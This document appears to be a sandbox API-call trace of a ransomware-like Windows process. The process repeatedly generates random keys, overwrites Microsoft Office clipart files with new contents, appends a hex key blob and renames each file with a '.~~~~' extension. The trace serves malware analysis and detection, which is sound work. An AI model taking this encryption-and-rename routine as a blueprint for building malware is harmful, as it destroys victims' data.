	[0111.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.322] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.322] GetLastError () returned 0x0
	[0111.322] GetLastError () returned 0x0
	[0111.322] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.322] GetLastError () returned 0x0
	[0111.323] GetLastError () returned 0x0
	[0111.326] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc2a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.326] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3d5c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3d5c, lpOverlapped=0x0) returned 1
	[0111.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.327] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.327] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.327] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.327] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.327] CloseHandle (hObject=0x144) returned 1
	[0111.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.328] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.~~~~")) returned 1
	[0111.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.329] GetLastError () returned 0x0
	[0111.329] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.373] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.373] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.374] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23136370107) returned 1
	[0111.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabfb4ff0, dwHighDateTime=0x1d60e1e)) 
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f840
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f840 | out: hHeap=0x300000) returned 1
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c80a8
	[0111.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831120
	[0111.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.374] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.375] GetLastError () returned 0x0
	[0111.375] GetLastError () returned 0x0
	[0111.375] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.375] GetLastError () returned 0x0
	[0111.375] GetLastError () returned 0x0
	[0111.378] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbfc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.378] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x4040, lpOverlapped=0x0) returned 1
	[0111.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0111.380] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.380] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.380] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.380] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.380] CloseHandle (hObject=0x144) returned 1
	[0111.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c80a8
	[0111.388] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.~~~~")) returned 1
	[0111.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.424] GetLastError () returned 0x0
	[0111.425] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.426] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.426] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.427] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23141680902) returned 1
	[0111.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac04d570, dwHighDateTime=0x1d60e1e)) 
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f9c8
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f9c8 | out: hHeap=0x300000) returned 1
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c80a8
	[0111.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2830ff0
	[0111.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.428] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.428] GetLastError () returned 0x0
	[0111.428] GetLastError () returned 0x0
	[0111.428] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.428] GetLastError () returned 0x0
	[0111.428] GetLastError () returned 0x0
	[0111.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffebfd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.433] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1402c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1402c, lpOverlapped=0x0) returned 1
	[0111.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.435] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.435] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.435] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.435] CloseHandle (hObject=0x130) returned 1
	[0111.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c80a8
	[0111.436] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.~~~~")) returned 1
	[0111.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.437] GetLastError () returned 0x0
	[0111.438] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.440] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.440] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.440] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23143003439) returned 1
	[0111.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac0736d0, dwHighDateTime=0x1d60e1e)) 
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fa00
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fa00 | out: hHeap=0x300000) returned 1
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c8f18
	[0111.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28314b0
	[0111.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8f18 | out: hHeap=0x300000) returned 1
	[0111.441] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.441] GetLastError () returned 0x0
	[0111.441] GetLastError () returned 0x0
	[0111.441] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.441] GetLastError () returned 0x0
	[0111.441] GetLastError () returned 0x0
	[0111.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe11c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.444] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1ee4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1ee4, lpOverlapped=0x0) returned 1
	[0111.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.446] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.446] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.446] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.446] CloseHandle (hObject=0x130) returned 1
	[0111.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c8f18
	[0111.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.~~~~")) returned 1
	[0111.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8f18 | out: hHeap=0x300000) returned 1
	[0111.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.447] GetLastError () returned 0x0
	[0111.448] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.449] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.449] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.449] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23143962914) returned 1
	[0111.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac0736d0, dwHighDateTime=0x1d60e1e)) 
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fa38
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fa38 | out: hHeap=0x300000) returned 1
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c8f18
	[0111.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831548
	[0111.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8f18 | out: hHeap=0x300000) returned 1
	[0111.450] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.451] GetLastError () returned 0x0
	[0111.451] GetLastError () returned 0x0
	[0111.451] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.451] GetLastError () returned 0x0
	[0111.451] GetLastError () returned 0x0
	[0111.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff7258, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.530] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x8da8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x8da8, lpOverlapped=0x0) returned 1
	[0111.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.564] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.566] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.566] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.566] CloseHandle (hObject=0x130) returned 1
	[0111.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.~~~~")) returned 1
	[0111.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.568] GetLastError () returned 0x0
	[0111.568] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.570] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.570] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23156042087) returned 1
	[0111.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac1a41d0, dwHighDateTime=0x1d60e1e)) 
	[0111.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fca0
	[0111.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fca0 | out: hHeap=0x300000) returned 1
	[0111.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
